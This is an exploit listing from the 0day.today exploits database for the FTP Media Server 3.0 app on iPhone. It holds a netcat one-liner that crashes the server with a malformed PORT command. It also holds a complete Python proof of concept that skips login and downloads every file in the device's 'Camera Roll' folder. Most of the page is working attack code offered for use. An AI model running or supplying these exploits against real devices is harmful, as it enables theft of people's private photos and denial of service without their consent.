[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

FTP Media Server 3.0 - Authentication Bypass and Denial of Service Exploit

Author
Wh1t3Rh1n0
Risk
[
Security Risk High
]
0day-ID
0day-ID-23665
Category
dos / poc
Date add
25-05-2015
Platform
iOS
#!/usr/bin/env python
#==================================================================================
# Exploit Title: FTP Media Server 3.0 - Authentication Bypass and Denial of Service
# Date: 2015-05-25
# Exploit Author: Wh1t3Rh1n0 (Michael Allen)
# Exploit Author's Homepage: http://www.mikeallen.org
# Software Link: https://itunes.apple.com/us/app/ftp-media-server-free/id528962302
# Version: 3.0
# Tested on: iPhone
#==================================================================================
# ------------------
# Denial of Service:
# ------------------
# The FTP server does not properly handle errors raised by invalid 
# FTP commands. The following command, which sends an invalid PORT command to 
# the FTP server, will crash the server once it is received.
 
# echo -en "PORT\r\n" | nc -nv 192.168.2.5 50000
 
# ----------------------
# Authentication Bypass:
# ----------------------
# The FTP server does not handle unauthenticated connections or incorrect login
# credentials properly. A remote user can issue commands to the FTP server 
# without authenticating or after entering incorrect credentials.
 
# The following proof-of-concept connects to the given FTP server and 
# downloads all files stored in the "Camera Roll" folder without providing a
# username or password:
 
import sys
from ftplib import FTP
 
if len(sys.argv) <= 1:
    print "Usage: ./ftp-nologin.py [host] [port]"
    exit()
 
host = sys.argv[1]    
port = int(sys.argv[2])
 
files = []
 
def append_file(s):
    files.append(s.split(' ')[-1])
 
blocks = []
def get_blocks(d):
    blocks.append(d)
 
ftp = FTP()
print ftp.connect(host, port)
ftp.set_pasv(1)
ftp.cwd("Camera Roll")
print ftp.retrlines('LIST', append_file)
 
files.pop(0)
 
for filename in files:
    print "Downloading %s..." % filename
    ftp.retrbinary('RETR /Camera Roll/' + filename, get_blocks)
 
    f = open(filename, 'wb')
    for block in blocks:
        f.write(block)
    f.close()
    print "[+] File saved to: %s" % filename
     
    blocks = []
 
ftp.quit()

#  0day.today [2024-07-07]  #